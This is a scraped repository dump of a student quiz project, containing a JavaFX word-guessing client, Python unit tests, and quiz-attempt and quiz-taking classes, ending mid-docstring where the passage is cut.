ArrayList<String> categoryStrings = new ArrayList<String>();
if(info.canPickCat1)
categoryStrings.add("Superheroes");
if(info.canPickCat2)
categoryStrings.add("Desserts");
if(info.canPickCat3)
categoryStrings.add("Transportation");
ComboBox<String> categoriesMenu = new ComboBox<String>();
categoriesMenu.getItems().addAll(categoryStrings);
categoriesMenu.setValue("<Select>");
// Create the next button
Button nextButton = new Button("Next");
nextButton.setOnAction(e -> {
// Don't continue if a category hasn't been chosen
if (categoriesMenu.getValue().equals("<Select>")) {
return;
}
else
{
//depends on the category choice
if(categoriesMenu.getValue().equals("Superheroes"))
{
info.category = 1;
}
else if(categoriesMenu.getValue().equals("Desserts"))
{
info.category = 2;
}
else if(categoriesMenu.getValue().equals("Transportation"))
{
info.category = 3;
}
clientConnection.send(info);
}
// Go to the guessing scene
stage.setScene(createWaitingGui(pStage));
});
// Organize everything now
BorderPane mainPane = new BorderPane();
HBox categoryLine = new HBox(8, categoryLabel, categoriesMenu);
categoryLine.setAlignment(Pos.CENTER);
VBox sceneLayout = new VBox(8, titleLabel, categoryLine, nextButton);
sceneLayout.setAlignment(Pos.TOP_CENTER);
sceneLayout.setPadding(new Insets(16, 16, 16, 16));
mainPane.setTop(attemptLabel);
mainPane.setCenter(sceneLayout);
mainPane.setBottom(playerLabel);
mainPane.setStyle("-fx-background-color: #ff00ff");
return new Scene(mainPane, WIDTH, HEIGHT);
}// end createCategoryScene()
// Method that creates the gameplay scene where you guess the letters
public Scene createGameplayScene(Stage stage, GameCommunicator c)
{
// Label that contains the attempt number
int attemptInCat = -1;
if(info.category == 1) {
attemptInCat = c.attemptCat1+1;
}
else if(info.category == 2) {
attemptInCat = c.attemptCat2+1;
}
else {
attemptInCat = c.attemptCat3+1;
}
Label attemptLabel = new Label("Attempt #" + attemptInCat);
attemptLabel.setAlignment(Pos.TOP_LEFT);
attemptLabel.setPadding(new Insets(8, 8, 8, 8));
// Label that contains the player number
Label playerLabel = new Label("You are player #" + clientNum);
playerLabel.setAlignment(Pos.BOTTOM_RIGHT);
playerLabel.setPadding(new Insets(8, 8, 8, 8));
String strCategory = "";
if(c.category == 1) {
strCategory = "Superheros";
}
else if(c.category == 2) {
strCategory = "Dessert";
}
else {
strCategory = "Transportation";
}
Label titleLabel = new Label("Category: " + strCategory);
Label wordLabel = new Label("Word: " + c.word);
wordLabel.setFont(new Font(32));
//guessesLeft = 6;
guessesLabel = new Label("Guesses left: " + c.numGuesses);
Label enterGuess = new Label("Enter letter guess: ");
TextField guessField = new TextField();
Button guessButton = new Button("Guess");
guessButton.setOnAction(e -> {
//guessButton.setDisable(true);
boolean didUseLetter = false;
for(int i = 0; i < usedLetters.size(); i++) {
if(Character.toLowerCase(usedLetters.get(i)) == Character.toLowerCase(guessField.getText().charAt(0))) {
didUseLetter = true;
break;
}
}
if(!didUseLetter) {
c.guess = Character.toLowerCase(guessField.getText().charAt(0)); //gets the guess of the player
clientConnection.send(info);
}
});
// Organize everything now
BorderPane mainPane = new BorderPane();
HBox guessRow = new HBox(8, enterGuess, guessField, guessButton);
guessRow.setAlignment(Pos.CENTER);
VBox sceneLayout = new VBox(8, titleLabel, wordLabel, guessesLabel, guessRow);
sceneLayout.setAlignment(Pos.TOP_CENTER);
sceneLayout.setPadding(new Insets(16, 16, 16, 16));
mainPane.setTop(attemptLabel);
mainPane.setCenter(sceneLayout);
mainPane.setBottom(playerLabel);
mainPane.setStyle("-fx-background-color: #ff00ff");
return new Scene(mainPane, WIDTH, HEIGHT);
}// end createGameplayScene()
// Method to create the results of a game (whether you win or lose)
public Scene createResultsScene(Stage stage, GameCommunicator c)
{
// Create the label for the title
resultsTitleLabel = new Label(resultsSceneTitle);
Label gameResults;
if(c.gameLost) {
gameResults = new Label("You lost the game");
}
else {
gameResults = new Label("You won the game");
}
// Create the buttons for restarting and quitting
Button restartButton = new Button("Restart");
restartButton.setOnAction(e -> {
c.playAgain = true;
stage.setScene(createWaitingGui(stage));
clientConnection.send(c);
});
Button quitButton = new Button("Quit");
quitButton.setOnAction(e -> {
System.exit(0);
});
// Organize everything
BorderPane mainPane = new BorderPane();
HBox buttons = new HBox(64, restartButton, quitButton);
buttons.setAlignment(Pos.CENTER);
VBox sceneLayout = new VBox(32, resultsTitleLabel, gameResults, buttons);
sceneLayout.setAlignment(Pos.CENTER);
mainPane.setCenter(sceneLayout);
mainPane.setStyle("-fx-background-color: #ff00ff");
return new Scene(mainPane, WIDTH, HEIGHT);
}// end createResultsScene()
// Method to change the text on the title for the category scene
public void setCategorySceneTitle(String title)
{
categorySceneTitle = title;
titleLabel.setText(categorySceneTitle);
}// end setCategorySceneTitle()
// Method to change the text on the title for the results scene
public void setResultsSceneTitle(String title)
{
resultsSceneTitle = title;
resultsTitleLabel.setText(resultsSceneTitle);
}// end setResultsSceneTitle()
// Method to reset everything for when you restart the game
public void resetGame()
{
setCategorySceneTitle("Let's Guess Words!");
setResultsSceneTitle("Congratulations! You've finished the game!");
}// end resetGame()
/*
* All the GUI scenes
*/
public Scene createWaitingGui(Stage stage) {
BorderPane pane = new BorderPane();
pane.setPadding(new Insets(70));
pane.setStyle("-fx-background-color: green");
Label waitingLabel= new Label("Waiting for server response");
waitingLabel.setFont(new Font("Cambria", 15));
waitingLabel.setTextFill(Color.web("white"));
pane.setCenter(waitingLabel);
return new Scene(pane, 800, 600);
}
public static void main(String[] args) {
// TODO Auto-generated method stub
launch(args);
}
//feel free to remove the starter code from this method
@Override
public void start(Stage primaryStage) throws Exception {
// TODO Auto-generated method stub
primaryStage.setTitle("Word Guess Client");
pStage = primaryStage;
primaryStage.setScene(createStartScene(primaryStage));
primaryStage.show();
}
}
<file_sep>import java.io.Serializable;
/*
* This class is the object passed around between the client and the server.
* It includes variables that tell what both the server and client info on the current game state
* and moves the game along.
*/
public class GameCommunicator implements Serializable{
int clientNum; //tracks what client this is
int category; //what category current client is on
int numLetters; //number of letters in word to guess
int numGuesses; //number of guesses left in this category
char guess; //character the client guessed
String word; //words remaining
boolean categoryWon; //Flags true when user guessed the word in current category
boolean categoryLose; //Flags true when user didn't guess the word in current category
boolean gameWon; //flags when user wins the whole game
boolean gameLost; //flags when user losses the whole game
boolean playAgain; //flag whether to play again or not at the end of the game
int attemptCat1; //how many attempts in category 1
int attemptCat2; //how many attempts in category 2
int attemptCat3; //how many attempts in category 3
boolean canPickCat1; //tells client if they are allowed to pick category 1
boolean canPickCat2; //tells client if they are allowed to pick category 2
boolean canPickCat3; //tells client if they are allowed to pick category 3
//This constructor takes an int to assign which client number the current client is when
//a client connects the the server. The server will first make this object and send it to the client.
GameCommunicator(int num){
clientNum = num;
category = -1;
numLetters = -1;
numGuesses = 6;
guess = ' ';
word = "";
categoryWon = false;
categoryLose = false;
gameWon = false;
gameLost = false;
playAgain = false;
attemptCat1 = 0;
attemptCat2 = 0;
attemptCat3 = 0;
canPickCat1 = true;
canPickCat2 = true;
canPickCat3 = true;
}
//this "resets" the player for the next round of the game
public void nextRound()
{
category = -1;
numLetters = -1;
numGuesses = 6;
guess = ' ';
word = "";
categoryWon = false;
categoryLose = false;
}
//for if the player decides to play again
//basically reinitalizes ALL variables for new game
public void completeReset()
{
category = -1;
numLetters = -1;
numGuesses = 6;
guess = ' ';
word = "";
categoryWon = false;
categoryLose = false;
gameWon = false;
gameLost = false;
playAgain = false;
attemptCat1 = 0;
attemptCat2 = 0;
attemptCat3 = 0;
canPickCat1 = true;
canPickCat2 = true;
canPickCat3 = true;
}
public void copyVals(GameCommunicator c) {
clientNum = c.clientNum;
category = c.category;
numLetters = c.numLetters;
numGuesses = c.numGuesses;
guess = c.guess;
word = c.word;
categoryWon = c.categoryWon;
categoryLose = c.categoryLose;
gameWon = c.gameWon;
gameLost = c.gameLost;
playAgain = c.playAgain;;
attemptCat1 = c.attemptCat1;
attemptCat2 = c.attemptCat2;
attemptCat3 = c.attemptCat3;
canPickCat1 = c.canPickCat1;
canPickCat2 = c.canPickCat2;
canPickCat3 = c.canPickCat3;
}
}
|
9cd68b492cd2a5e0e815a2107d7c8c366ef1d666
|
[
"Java"
] | 3 |
Java
|
kaowayne6/WordGuesser
|
391c06cc878aa4e0a67ef227b45477781a8e5c8b
|
45e91d29c21d6f730ffda8dcc0a0d8890ec0e0f9
|
refs/heads/master
|
<repo_name>gryzon/PJWSTK-SignalRChatProject<file_sep>/PJWSTK-SignalRChatProject/Views/Home/About.cshtml
@{
ViewBag.Title = "O autorze";
}
<h2><NAME></h2>
<h3>Numer obozowy: s11363</h3>
<p>Autorem niniejszej strony (programu) stworzonej w technologii ASP.NET jest praktykujący pasjonat programowania w języku Java. Dlatego też proszę nie wymagać cudów od tego projektu, cudem samym w sobie jest fakt że program został napisany. Na dodatek został napisany w systemie Windows przez zwolennika systemu Linux.</p>
<p>Trzeba przyznać jednak że Visual Studio jest fajne i przyjemnie się w nim pisze. Pozostanę jednak przy swoim ;)</p>
<p style="font-size: 22px; font-weight: bold;">Hej!</p>
<file_sep>/PJWSTK-SignalRChatProject/Content/Site.css
body {
padding-top: 50px;
padding-bottom: 20px;
}
/* Set padding to keep content from hitting the edges */
.body-content {
padding-left: 15px;
padding-right: 15px;
}
.jumbotron {
margin-top: 30px !important;
}
/* Override the default bootstrap behavior where horizontal description lists
will truncate terms that are too long to fit in the left column
*/
.dl-horizontal dt {
white-space: normal;
}
/* Set width on the form input elements since they're 100% wide by default */
input,
select,
textarea {
/*max-width: 280px;*/
}
.submitButton
{
border: #737373 solid 1px;
padding: 4px;
cursor: pointer;
}
.submitButton:hover
{
background-color: #e1e1e1;
}
.login
{
width: 280px;
margin-left: auto;
margin-right: auto;
margin-top: 20px;
padding: 10px;
border: solid 1px #737373;
color: #1e4638;
}
.login .textBox
{
border: 1px solid black;
width: 254px;
}
.login #divButton
{
padding: 4px;
text-align: right;
}
.chatRoom
{
width: 950px;
margin-left: auto;
margin-right: auto;
margin-top: 20px;
border: solid 1px silver;
}
.chatRoom .title
{
font-size: 16px;
font-weight: bold;
padding: 8px;
background-color: #EDEDED;
border-bottom: solid 1px #737373;
}
.chatRoom .content
{
height: 300px;
clear: both;
}
.chatRoom .content .chatWindow
{
float: left;
width: 700px;
height: 300px;
border-right: solid 1px #737373;
overflow-y: scroll;
}
.chatRoom .content .chatWindow .message
{
padding: 4px;
}
.chatRoom .content .chatWindow .message .userName
{
font-weight: bold;
}
.chatRoom .content .users
{
float: right;
width: 240px;
height: 300px;
}
.chatRoom .content .users .user
{
display: block;
cursor: pointer;
padding: 4px;
background-color: #f9f9f9;
border-bottom: solid 1px #737373;
}
.chatRoom .content .users .loginUser
{
display: block;
padding: 4px;
color: gray;
border-bottom: solid 1px #737373;
}
.chatRoom .content .users .user:hover
{
background-color: #e1e1e1;
text-decoration: none;
}
.chatRoom .messageBar
{
width: 100%;
border-top: solid 1px gray;
padding: 4px;
}
.chatRoom .messageBar .textbox
{
border: 1px solid gray;
width: 592px;
height: 30px;
}
.chatRoom .messageBar .submitButton {
height: 30px;
width: 100px;
}
.disconnect
{
position: absolute;
margin: 10px;
background-color: #ffcbcb;
padding: 4px;
border: solid 1px red;
}
.draggable
{
position: absolute;
border: #737373 solid 1px !important;
width: 250px;
}
.draggable .header
{
cursor: move;
background-color: #EDEDED;
border-bottom: #737373 solid 1px;
color: #1e4638;
padding: 3px;
}
.draggable .selText
{
color: black;
padding: 4px;
}
.draggable .messageArea
{
width: 248px;
overflow-y: scroll;
height: 196px;
border-bottom: #737373 solid 1px;
}
.draggable .messageArea .message
{
padding: 4px;
}
.draggable .buttonBar
{
width: 250px;
padding:4px;
}
.draggable .buttonBar .msgText
{
border: 1px solid gray;
width: 180px;
height: 30px;
}
.draggable .buttonBar .button
{
margin-left:4px;
width: 55px;
}
|
173fbd93f8ac401b060be7032f686651886fac5d
|
[
"HTML+Razor",
"CSS"
] | 2 |
HTML+Razor
|
gryzon/PJWSTK-SignalRChatProject
|
ad97fa8e74272968ce0e0cd04f06cefae41a59d9
|
dca4be69d45212e2e57a7e9e5b142b12eb9e8b69
|
refs/heads/master
|
<repo_name>Kishoto/2005-Quiz-Project<file_sep>/Unit Tests/Unit_Test_Runner.py
from test_persist import *
from test_createquiz import *
from test_quiz_attempt import *
from test_quiz_result import *
from test_take_quiz import *
unittest.main(verbosity=2)
<file_sep>/Unit Tests/test_persist.py
import unittest
import tempfile
import os.path
import Persist
from Persist_DUT import Persist
class TestPersist(unittest.TestCase):
def setUp(self):
self.pdir = tempfile.TemporaryDirectory()
self.persist = Persist("test.txt")
def tearDown(self):
self.pdir.cleanup()
def test_addAccount_true(self):
self.persist.addInstructorAccount("wz1843","1234")
account = self.persist.getInstructorAccount()
self.assertEqual('1234', account["wz1843"],"not added")
def test_addAccount_false(self):
self.persist.addStudentAccount("cd1123", "abcd")
self.persist.addInstructorAccount("qw1212","abcd")
account = self.persist.getInstructorAccount()
self.assertEqual('abcd', account["qw1212"], "not added")
def test_getAccount_true(self):
self.persist.addStudentAccount("bbb11", "aaa")
account = self.persist.getStudentAccount()
self.assertEqual({'bbb11':'aaa'}, account,"not get the account")
def test_getAccount_false(self):
self.persist.addStudentAccount("bbb22", "aaaa")
account = self.persist.getStudentAccount()
self.assertEqual({'bbb22':'aaaa'}, account, "not get the account")
if __name__ == "__main__":
suite = unittest.TestSuite()
suite.addTest(TestPersist('test_addAccount_true'))
suite.addTest(TestPersist('test_addAccount_false'))
suite.addTest(TestPersist('test_getAccount_true'))
suite.addTest(TestPersist('test_getAccount_false'))
# suite = unittest.TestLoader().loadTestsFromTestCase(MyTest)
unittest.TextTestRunner(verbosity=1).run(suite)
<file_sep>/Unit Tests/test_quiz_result.py
import unittest
from QuizResult import *
class test_quiz_result(unittest.TestCase):
test_object = QuizResult()
test_object.add_quiz_attempts()
real_d = {'zero':0,'one': 0,'two': 0,'three': 0,'four': 0,'five': 0,'six': 0,'seven': 2,'eight': 0,'nine': 0}
def test_add_quiz_good(self):
obj = {}
x = self.test_object.get_grades()
if len(x.keys()) < 1:
x = 'fail'
self.assertEqual(type(obj),type(x),msg="The add_quiz_attempt function isn't working properly.")
def test_add_quiz_bad(self):
obj = {}
x = self.test_object.get_grades()
if len(x.keys()) < 1:
x = 'fail'
self.assertEqual(type(obj),type(x),msg="The add_quiz_attempt function isn't working properly.")
def test_ins_part_good(self):
out = self.test_object.ins_class_part('Quiz1')
x = 'pass'
if float(out) < 0 or float(out) > 100:
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_class_part function isn't working properly.")
def test_ins_part_bad(self):
out = self.test_object.ins_class_part('Quiz1')
x = 'pass'
if float(out) < 0 or float(out) > 100:
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_class_part function isn't working properly.")
def test_ins_avg_good(self):
out = self.test_object.ins_class_part('Quiz1')
x = 'pass'
if float(out) < 0 or float(out) > 100:
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_class_part function isn't working properly.")
def test_ins_avg_bad(self):
out = self.test_object.ins_class_part('Quiz1')
x = 'pass'
if float(out) < 0 or float(out) > 100:
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_class_part function isn't working properly.")
def test_ins_hist_good(self):
d = self.test_object.ins_class_hist('Quiz1')
x = 'pass'
for i in d:
if d[i] != self.real_d[i]:
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_class_hist function isn't working properly.")
def test_ins_hist_bad(self):
d = self.test_object.ins_class_hist('Quiz1')
x = 'pass'
for i in d:
if d[i] != self.real_d[i]:
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_class_hist function isn't working properly.")
def test_ins_att_good(self):
x = 'pass'
l = self.test_object.ins_class_attempts('Quiz1')
for i in range(len(l)):
if str(type(l[i])) != "<class 'str'>":
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_class_attempts function isn't working properly.")
def test_ins_att_bad(self):
x = 'pass'
l = self.test_object.ins_class_attempts('Quiz1')
for i in range(len(l)):
if str(type(l[i])) != "<class 'str'>":
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_class_attempts function isn't working properly.")
def test_ins_grade_good(self):
x = 'pass'
l = self.test_object.ins_student_grades('Fume')
for i in range(len(l)):
if str(type(l[i])) != "<class 'str'>":
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_student_grades function isn't working properly.")
def test_ins_grade_bad(self):
x = 'pass'
l = self.test_object.ins_student_grades('Fume')
for i in range(len(l)):
if str(type(l[i])) != "<class 'str'>":
x = 'fail'
self.assertEqual(x,'pass',msg="The ins_student_grades function isn't working properly.")
def test_stu_grade_good(self):
x = 'pass'
l = self.test_object.stu_quiz_grades('Fume')
for i in range(len(l)):
if str(type(l[i])) != "<class 'str'>":
x = 'fail'
self.assertEqual(x,'pass',msg="The stu_quiz_grades function isn't working properly.")
def test_stu_grade_bad(self):
x = 'pass'
l = self.test_object.stu_quiz_grades('Fume')
l[0] = 'Quiz 1 = Attempt 1 - 89, Attempt 2 - 72'
for i in range(len(l)):
if str(type(l[i])) != "<class 'str'>":
x = 'fail'
self.assertEqual(x,'pass',msg="The stu_quiz_grades function isn't working properly.")
def test_stu_det_good(self):
x = 'pass'
l = self.test_object.stu_quiz_detailed('Fume','Quiz1')
if str(type(l)) != "<class 'list'>":
x = 'fail'
self.assertEqual(x,'pass',msg="The stu_quiz_detailed function isn't working properly.")
def test_stu_det_bad(self):
x = 'pass'
l = self.test_object.stu_quiz_detailed('Fume','Quiz1')
if str(type(l)) != "<class 'list'>":
x = 'fail'
self.assertEqual(x,'pass',msg="The stu_quiz_detailed function isn't working properly.")
if __name__ == '__main__':
unittest.main(verbosity=2)
<file_sep>/Unit Tests/test_createquiz.py
from datetime import date
from CreateQuiz_VT import CreateQuiz
import unittest
import random
class TestCreateQuiz(unittest.TestCase):
test_date = date(1997,1,19)
quiz_questions = ("What is the 5th planet from the sun?",
"What is the process by which planets create food?",
"How many letters are in the English Alphabet?",
"In what year did <NAME> discover America?",
"What is 2 + 2?",
"What colour is the sky?",
"What is the 11th Doctor's favourite food?")
bad_questions = (5,999,68,42,8,25,test_date)
def setUp(self):
self.qname = "Test Quiz"
self.numofattempts = 3
self.stime = date.today()
self.etime = date(2019,3,30)
self.testCreate = CreateQuiz(self.qname,self.numofattempts,self.stime,self.etime)
self.badname = 999
self.invalattempts = 0
self.badstime = 99
self.badetime = "I solemnly swear that I am up to no good"
self.badCreate = CreateQuiz(self.badname,self.invalattempts,self.badstime,self.badetime)
def tearDown(self):
self.testCreate = None
self.badCreate = None
def test_getQuizNamePass(self):
self.assertTrue(isinstance(self.qname,str),"quiz name should be a string!")
def test_badQuizName(self):
badfoo = self.badCreate.getQuizName()
self.assertFalse(isinstance(badfoo,str))
def test_getStartTimePass(self):
foo = self.testCreate.getStartTime()
self.assertEqual(self.stime,foo,"dates do not match!")
self.assertTrue(isinstance(foo,date),"datatype should be date!")
def test_badStartTime(self):
badfoo = self.badCreate.getStartTime()
self.assertTrue(not isinstance(badfoo,date))
def test_getQuestion(self):
test_question = ""
for i in range(len(self.quiz_questions)):
if i == 2:
question = self.quiz_questions[random.randrange(len(self.quiz_questions))]
weight = random.randrange(1,3)
test_question = question
self.testCreate._addQuestion(question,weight)
else:
question = self.quiz_questions[random.randrange(len(self.quiz_questions))]
weight = random.randrange(1,3)
self.testCreate._addQuestion(question,weight)
self.assertEqual(test_question,self.testCreate.getQuestion(3),"Index retrieved and question asked for did not match")
def test_badQuestion(self):
test_question = None
for i in range(len(self.bad_questions)):
if i == 2:
bquestion = self.bad_questions[random.randrange(len(self.bad_questions))]
weight = random.randrange(1,3)
test_question = bquestion
self.testCreate._addQuestion(bquestion,weight)
else:
question = self.bad_questions[random.randrange(len(self.bad_questions))]
weight = random.randrange(1,3)
self.testCreate._addQuestion(question,weight)
self.assertEqual(test_question,self.testCreate.getQuestion(3),"Index retrieved and question asked did not match")
self.assertFalse(isinstance(self.testCreate.getQuestion(3),str))
def test_getQuestions(self):
test_list = []
for i in range(len(self.quiz_questions)):
question = self.quiz_questions[random.randrange(len(self.quiz_questions))]
weight = random.randrange(1,3)
test_tuple = [question,weight]
test_list.append(test_tuple)
self.testCreate._addQuestion(question,weight)
self.assertEqual(test_list,self.testCreate.getQuestions(),"Questions not being stored correctly, check usage of getQuestions")
def test_badQuestions(self):
test_list = []
for i in range(len(self.bad_questions)):
bquestion = self.bad_questions[random.randrange(len(self.bad_questions))]
weight = random.randrange(1,3)
test_tuple = [bquestion,weight]
test_list.append(test_tuple)
self.testCreate._addQuestion(bquestion,weight)
self.assertEqual(test_list,self.testCreate.getQuestions(),"Questions are not being stored correctly, check usage of getQuestions or _addQuestion")
self.assertFalse(isinstance(self.testCreate.getQuestions(),str))
def test_getWeight(self):
test_weight = 0
for i in range(len(self.quiz_questions)):
if i == 2:
question = self.quiz_questions[random.randrange(len(self.quiz_questions))]
weight = random.randrange(1,3)
test_weight = weight
self.testCreate._addQuestion(question,weight)
else:
question = self.quiz_questions[random.randrange(len(self.quiz_questions))]
weight = random.randrange(1,3)
self.testCreate._addQuestion(question,weight)
self.assertEqual(test_weight,self.testCreate.getWeight(3),"Weight asked for does not match weight that should be stored in that index!")
def test_badWeight(self):
for i in range(len(self.quiz_questions)):
bquestion = self.quiz_questions[random.randrange(len(self.quiz_questions))]
weight = random.randrange(1,3)
self.testCreate._addQuestion(bquestion,weight)
self.assertTrue(isinstance(self.testCreate.getWeight(2),float))
if __name__ == '__main__':
unittest.main(verbosity=2)
<file_sep>/Final Project Submission(Flask Ready)/Quiz_Attempt.py
"""
CLASS:
QuizAttempt
"""
class QuizAttempt:
"""
Holds Attempt information of a an already taken quiz
Instance Variables:
quizName - name of quiz
quizQuestions - list of questions
quizChoices - list of lists: list of choices for each question
quizAnswers - list of correct answers to question
response - student answers for this attempt
complete - status of the attempt
Public Methods:
addResponse(number, answer) - add student's answer to a question
getResponse() - get student answers
getComplete() - check status of the attempt
completed()- marks this attempt as completed
"""
def __init__(self, username, quiz):
"""Initialise instance variables."""
self._username = username
self._quizName = quiz.getQuizName()
self._quizQuestions = quiz.getQuestions()
self._quizChoices = quiz.getChoices()
self._quizAnswers = quiz.getAnswers()
self._questionWeight = [None] * len(self._quizQuestions)
for i in range(len(self._quizQuestions)):
self._questionWeight = quiz.getWeight(i)
self._response = [None] * len(self._quizQuestions)
self._complete = False
def addResponse(self, number, answer):
"""
Record the answers of the student for this quiz attempt
Params:
number - Index number of the question
answer - students' response from the multiple choice
"""
self._response[number] = answer
def getResponse(self):
"""Return student response for this particular quiz attempt."""
return self._response
def getComplete(self):
"""Return True or False to verify complete status of this attempt."""
return self._complete
def completed(self):
"""Set status of complete to True for this attempt."""
self._complete = True
<file_sep>/Unit Tests/test_quiz_attempt.py
import unittest
import datetime
from create_quiz import CreateQuiz
from Quiz_Attempt import QuizAttempt
class TestQuizAttempt(unittest.TestCase):
def setUp(self):
start_time = datetime.datetime(2019,3,21,12)
end_time = datetime.datetime(2019,3,28,12)
self.quiz1 = CreateQuiz("Process Model",3,start_time, end_time)
self.quiz1._addQuestion("Which best describes Project management", 1)
self.quiz1._addQuestion("Stephens methods for managing the software process are:", 1)
self.q1_attempt = QuizAttempt("Fume",self.quiz1)
def test_addResponse(self):
data = "Stevens"
index_number = 0
self.q1_attempt.addResponse(index_number,data)
self.assertEqual(self.q1_attempt.getResponse()[index_number],"Stevens", msg="Did not add response to the right index" )
def test_addResponse_error(self):
pass
def test_getResponse(self):
self.assertEqual(type(self.q1_attempt.getResponse()),type([]))
def test_getComplete(self):
self.assertEqual(type(self.q1_attempt.getComplete()),bool)
def test_completed(self):
self.q1_attempt.completed()
self.assertTrue(self.q1_attempt.getComplete())
if __name__ == '__main__':
unittest.main(verbosity=2)
<file_sep>/Unit Tests/Take_Quiz.py
from Persist import *
from Quiz_Attempt import QuizAttempt
"""
CLASS:
TakeQuiz
"""
class TakeQuiz:
"""
Allow student to take a quiz and store their attempts
Class Variable:
persistStorage - persist object
studentsQA - (dictionary)Each student quiz attempt for a quiz
Key: username
Value: dictionary(Key: quizName,
Value: List[] of quizAttempt objects)
Class Methods:
resumeQuiz(name, quiz) - returns an incomplete quiz attempt if found.
store_studentsQA() - calls persist method to store studentsQA dictionary in shelve
get_studentsQA - get stored studentsQA dictionary from persist
Instance Variables:
username: - student's unique userID
selectTime - time the quiz was selected
quizTup - a tuple conatining (createQuiz object, quiz object)
foundQuiz - the quiz selected by student to be taken
createdQuiz - the createQuiz object that made the quiz
presentAttempt - holds information of quiz answered by student
formerAttempt - indicates True or False if the student is continuing from his last attempt
Public Methods:
checkAccess() - verify if student has access to quiz
getFoundQuiz() - returns the quiz object that the sudent is currently taking
getQuizContent() - return the quiz content(quizName,question, and choices)
saveAnswer() - saves student answer to a question
stopQuiz() - stop and save incomplete quiz attempt for later completion
submitQuiz() - submit quiz attempt
store_studentsQA() - store all the students quiz attempts for each quiz
numberOfAttempts() - check students number of attempt on a quiz
"""
persistStorage = storage
studentsQA = {}
def __init__(self,username,quizName):
"""
Initialise instance variables, get the quiz from storage
Params:
username - person taken the quiz
quizName - Name of the quiz selected
"""
self._username = username
self._selectTime = datetime.datetime.now()
self._foundQuiz = TakeQuiz.persistStorage.getQuiz(quizName)
self._presentAttempt = QuizAttempt(username, self._foundQuiz)
oldAttempt = TakeQuiz.resumeQuiz(username,quizName)
self.formerAttempt = False
if oldAttempt is not None:
self._presentAttempt = oldAttempt
self.formerAttempt = True
def checkAccess(self):
"""
Return true if student is listed as permitted to take Quiz,
has not exceeded max attempts for quiz
and quiz end date has not exceded.
"""
exceededDate = False
exceededAttempt = False
permitted = False
if self._username in self._foundQuiz.accessList:
permitted = True
if(self.numberOfAttempts() >= self._foundQuiz.getAttempts() and TakeQuiz.studentsQA[self._username][self._foundQuiz.getQuizName()][-1].getComplete() == True):
exceededAttempt = True
if(self._selectTime > self._foundQuiz.getEndTime()):
exceededDate = True
if(exceededDate == False and exceededAttempt == False and permitted):
return True
else:
return False
def getQuizContent(self):
"""Return the contents of the quiz."""
name = self._foundQuiz.getQuizName()
questions = self._foundQuiz.getQuestions()
choices = self._foundQuiz.getChoices()
return (name,questions,choices)
def saveAnswer(self,index, answer):
"""
Save student answer to a question in a response list.
Params:
index - the index where the answer should stored
answer - the answer student selected in question
"""
self._presentAttempt.addResponse(index,answer)
return self._presentAttempt
def stopQuiz(self):
"""Saves current attempt for later completion; adds the incomplete quizAttempt to studentsQA dictionary."""
#Ensures the attempt about to be placed is set to incomplete
self._presentAttempt._complete = False
quizName = self._foundQuiz.getQuizName()
#If he already has an incomplete quiz do not store
if self._username in TakeQuiz.studentsQA and quizName in TakeQuiz.studentsQA[self._username]:
for attempt in TakeQuiz.studentsQA[self._username][quizName]:
if attempt.getComplete() == False:
return
if self._username in TakeQuiz.studentsQA:
dictQuiz = TakeQuiz.studentsQA[self._username]
if quizName in dictQuiz:
attempts = dictQuiz[quizName]
attempts.append(self._presentAttempt)
dictQuiz[quizName] = attempts
else:
attempts = []
attempts.append(self._presentAttempt)
dictQuiz[quizName] = attempts
else:
quizAttempt = []
quizAttempt.append(self._presentAttempt)
dictQuiz = {}
dictQuiz[quizName] = quizAttempt
TakeQuiz.studentsQA[self._username] = dictQuiz
TakeQuiz.store_studentsQA()
@classmethod
def resumeQuiz(cls,name,quiz):
"""
Return incomplete Quiz attempt.
Params:
name - name of the student
quiz - name of thae quiz he wants to take
"""
if name in TakeQuiz.studentsQA:
dictQuiz = TakeQuiz.studentsQA[name]
if quiz in dictQuiz:
attempts = dictQuiz[quiz]
for attempt in attempts:
if attempt.getComplete() == False:#is incomplete:
#TakeQuiz.formerAttempt = True
return attempt #return incomplete attempt
def submitQuiz(self):
"""
Set the QuizAttempt status to True when submit button is pressed
and store quiz attempt in dictionary.
"""
quizName = self._foundQuiz.getQuizName()
self._presentAttempt.completed()
#Check student already exist
if self._username in TakeQuiz.studentsQA:
dictQuiz = TakeQuiz.studentsQA[self._username]
#Check if quiz name already exists
if quizName in dictQuiz:
#Get all attempts for that quiz
quizAttempt = dictQuiz[quizName]
if self.formerAttempt == False:
quizAttempt.append(self._presentAttempt)
dictQuiz[quizName] = quizAttempt
else:
quizAttempt = []
quizAttempt.append(self._presentAttempt)
dictQuiz[quizName] = quizAttempt
TakeQuiz.studentsQA[self._username] = dictQuiz
else:
quizAttempt = []
quizAttempt.append(self._presentAttempt)
dictQuiz = {}
dictQuiz[quizName] = quizAttempt
TakeQuiz.studentsQA[self._username] = dictQuiz
TakeQuiz.store_studentsQA()
return self._presentAttempt
def numberOfAttempts(self):
"""Return the number of attempts the user has on a particular quiz."""
if self._username not in TakeQuiz.studentsQA:
return 0
if self._foundQuiz.getQuizName() not in TakeQuiz.studentsQA[self._username]:
return 0
attempts = TakeQuiz.studentsQA[self._username][self._foundQuiz.getQuizName()]
return len(attempts)
@classmethod
def store_studentsQA(cls):
"""Store/Persist studentsQA."""
TakeQuiz.persistStorage.addAllStudentQA(TakeQuiz.studentsQA)
@classmethod
def get_studentsQA(cls):
"""Gets the studentsQA stored in persist and returns it"""
return TakeQuiz.persistStorage.getStudentQA()
def getFoundQuiz(self):
"""Return the current quiz being taken"""
return self._foundQuiz
<file_sep>/README.md
# 2005-Quiz-Project<file_sep>/Final Project Submission(Flask Ready)/QuizResult.py
from random import *
from Quiz_Attempt import *
from Persist import *
"""
CLASS:
QuizResult
"""
class QuizResult:
"""
Allow student to take a quiz and store their attempts
Class Variable:
input_dict - (dictionary) The QA data that's stored in Persist by the TakeQuiz module
Key: username
Value: dictionary(Key: quizName,
Value: List[] of quizAttempt objects)
_quiz_dict - (dictionary) The reformatted quiz data from the QA data
Key: quizname
Value: List[] of data(username (str), list of questions (list), list of choices (list of lists), list of responses (lists),
list of correct answers (list), list of question weights (list)
